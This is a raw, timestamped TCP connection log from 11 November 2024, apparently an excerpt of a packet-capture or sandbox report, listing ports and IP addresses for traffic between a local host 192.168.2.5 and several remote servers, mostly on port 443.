Nov 11, 2024 19:52:23.334022045 CET	49821	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.334026098 CET	443	49821	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.334420919 CET	443	49827	108.139.47.108	192.168.2.5
Nov 11, 2024 19:52:23.340406895 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.340420961 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.341089010 CET	49826	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.341094971 CET	443	49826	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.341415882 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.341423988 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.341593981 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.341603041 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.341687918 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.341702938 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.341747046 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.342226028 CET	443	49826	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.342292070 CET	49826	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.342483997 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.342556953 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.342652082 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.342711926 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.343206882 CET	49827	443	192.168.2.5	108.139.47.108
Nov 11, 2024 19:52:23.343288898 CET	443	49827	108.139.47.108	192.168.2.5
Nov 11, 2024 19:52:23.351223946 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.351304054 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.353233099 CET	49826	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.353313923 CET	443	49826	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.354298115 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.354396105 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.354654074 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.354774952 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.354794025 CET	49827	443	192.168.2.5	108.139.47.108
Nov 11, 2024 19:52:23.355252981 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.355262995 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.355331898 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.355367899 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.355789900 CET	49826	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.355798006 CET	443	49826	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.356056929 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.356065035 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.356154919 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.356163979 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.357080936 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.357089996 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.357235909 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.357242107 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.357688904 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.396255970 CET	49835	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.396275997 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.396481991 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.396495104 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.396872044 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.396888018 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.396955013 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.397320032 CET	49832	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.397327900 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.397413015 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.397469044 CET	49835	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.397586107 CET	49833	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.397593975 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.397737980 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.397964001 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.398041010 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.398674011 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.398730993 CET	49833	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.399096012 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.399106979 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.399107933 CET	49826	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.399122000 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.399327993 CET	443	49827	108.139.47.108	192.168.2.5
Nov 11, 2024 19:52:23.403440952 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.403515100 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.404022932 CET	49835	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.404090881 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.404387951 CET	49832	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.404460907 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.405026913 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.405095100 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.408833981 CET	49833	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.408922911 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.411958933 CET	49836	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.411988974 CET	443	49836	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.412053108 CET	49836	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.418899059 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.419426918 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.419615030 CET	49835	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.419624090 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.419749975 CET	49832	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.420048952 CET	49836	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.420063019 CET	443	49836	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.420245886 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.420253038 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.421674013 CET	443	49818	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.421739101 CET	443	49818	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.421785116 CET	49818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.421966076 CET	443	49814	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.422075033 CET	443	49822	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.422400951 CET	49833	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.422408104 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.422544956 CET	443	49822	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.422594070 CET	49822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.422746897 CET	443	49814	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.422791958 CET	49814	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.423444986 CET	443	49817	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.423458099 CET	443	49821	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.423973083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.424211979 CET	443	49817	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.424259901 CET	49817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.424478054 CET	443	49821	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.424525023 CET	49821	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.436580896 CET	49818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.436611891 CET	443	49818	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.436954975 CET	49821	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.436964035 CET	443	49821	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.436975956 CET	49821	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.436980963 CET	443	49821	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.438324928 CET	49822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.438347101 CET	443	49822	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.438358068 CET	49822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.438364029 CET	443	49822	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.438402891 CET	49814	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.438402891 CET	49814	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.438421011 CET	443	49814	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.438431025 CET	443	49814	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.439680099 CET	49817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.439707041 CET	443	49817	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.439719915 CET	49817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.439726114 CET	443	49817	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.442305088 CET	49837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.442326069 CET	443	49837	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.442383051 CET	49837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.443569899 CET	49838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.443589926 CET	443	49838	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.443648100 CET	49838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.444962025 CET	49839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.444969893 CET	443	49839	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.445023060 CET	49839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.445388079 CET	49837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.445393085 CET	443	49837	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.445851088 CET	49840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.445871115 CET	443	49840	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.445924044 CET	49840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.446402073 CET	49840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.446408033 CET	443	49840	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.446458101 CET	49838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.446464062 CET	443	49838	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.446742058 CET	49839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.446747065 CET	443	49839	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.448720932 CET	49841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.448745966 CET	443	49841	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.448796034 CET	49841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.448915005 CET	49841	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:23.448920965 CET	443	49841	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:23.453663111 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.454204082 CET	443	49827	108.139.47.108	192.168.2.5
Nov 11, 2024 19:52:23.454576969 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.454612970 CET	443	49825	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:23.454670906 CET	49825	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:23.455146074 CET	443	49827	108.139.47.108	192.168.2.5
Nov 11, 2024 19:52:23.455220938 CET	49827	443	192.168.2.5	108.139.47.108
Nov 11, 2024 19:52:23.456971884 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.457320929 CET	49830	443	192.168.2.5	20.110.205.119
Nov 11, 2024 19:52:23.457329035 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.457679033 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.459172964 CET	49830	443	192.168.2.5	20.110.205.119
Nov 11, 2024 19:52:23.459232092 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.460474968 CET	49827	443	192.168.2.5	108.139.47.108
Nov 11, 2024 19:52:23.460481882 CET	443	49827	108.139.47.108	192.168.2.5
Nov 11, 2024 19:52:23.463332891 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.463862896 CET	49830	443	192.168.2.5	20.110.205.119
Nov 11, 2024 19:52:23.467325926 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.469192982 CET	443	49826	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.480886936 CET	443	49826	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.480945110 CET	49826	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.481527090 CET	49826	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.481539011 CET	443	49826	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.487668991 CET	49842	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.487690926 CET	443	49842	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.487751961 CET	49842	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.487987995 CET	49842	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:23.487993956 CET	443	49842	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:23.507332087 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.507917881 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.524338007 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.524389982 CET	49835	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.524394989 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.524441957 CET	49835	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.525063992 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525084972 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525110006 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525118113 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525130033 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525157928 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525160074 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.525209904 CET	49832	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.525209904 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.525659084 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525670052 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525717974 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.525721073 CET	49833	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.525763035 CET	49833	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.527858973 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.527879000 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.527887106 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.527915955 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.527925014 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.527928114 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.527935982 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.527951002 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.527968884 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.527995110 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.528652906 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.528675079 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.528682947 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.528703928 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.528712034 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.528716087 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.528719902 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.528738976 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.528754950 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.528769970 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.528788090 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.530153036 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530179977 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530190945 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530200005 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530216932 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530226946 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530242920 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.530273914 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530291080 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.530313969 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.530337095 CET	49835	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.530344963 CET	443	49835	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.530565977 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530589104 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530616045 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.530631065 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.530674934 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.531507969 CET	49843	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.531534910 CET	443	49843	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.531563997 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.531586885 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.531594038 CET	49843	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.531619072 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.531627893 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.531675100 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.534249067 CET	49843	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.534262896 CET	443	49843	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.535063982 CET	49832	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.535072088 CET	443	49832	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.535559893 CET	49844	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.535587072 CET	443	49844	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.535659075 CET	49844	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.537237883 CET	49844	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.537249088 CET	443	49844	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.552314043 CET	49834	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.552320957 CET	443	49834	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.566297054 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.566898108 CET	49833	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.566914082 CET	443	49833	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.578484058 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.578557014 CET	49830	443	192.168.2.5	20.110.205.119
Nov 11, 2024 19:52:23.581192017 CET	49830	443	192.168.2.5	20.110.205.119
Nov 11, 2024 19:52:23.581202984 CET	443	49830	20.110.205.119	192.168.2.5
Nov 11, 2024 19:52:23.606833935 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.606856108 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.606899023 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.606924057 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.606955051 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.606976986 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.607567072 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.607614040 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.607723951 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.607748985 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.607778072 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.607785940 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.607815027 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.607831955 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.609584093 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.609603882 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.609647036 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.609656096 CET	443	49831	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:23.609688997 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.609700918 CET	49831	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:23.609888077 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.609910965 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.609944105 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.609960079 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.609973907 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.609998941 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.610013008 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.610038042 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.610070944 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.610079050 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.610102892 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.610116959 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.611605883 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.611630917 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.611663103 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.611670971 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.611706972 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.611891031 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.611907959 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.611943960 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.611944914 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.611958981 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.611970901 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.611994982 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.612077951 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.612128019 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.612163067 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.612474918 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.612490892 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.612525940 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.612534046 CET	443	49828	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.612562895 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.612582922 CET	49828	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.614640951 CET	49829	443	192.168.2.5	13.107.246.40
Nov 11, 2024 19:52:23.614654064 CET	443	49829	13.107.246.40	192.168.2.5
Nov 11, 2024 19:52:23.618968010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.618982077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.618994951 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619024992 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619029999 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619055986 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619088888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619102001 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619129896 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619129896 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619155884 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619168997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619182110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619194031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619216919 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619216919 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619255066 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:23.619339943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619350910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619364023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:23.619376898 CET	80	49755	185.215.113.206	192.168.2.5
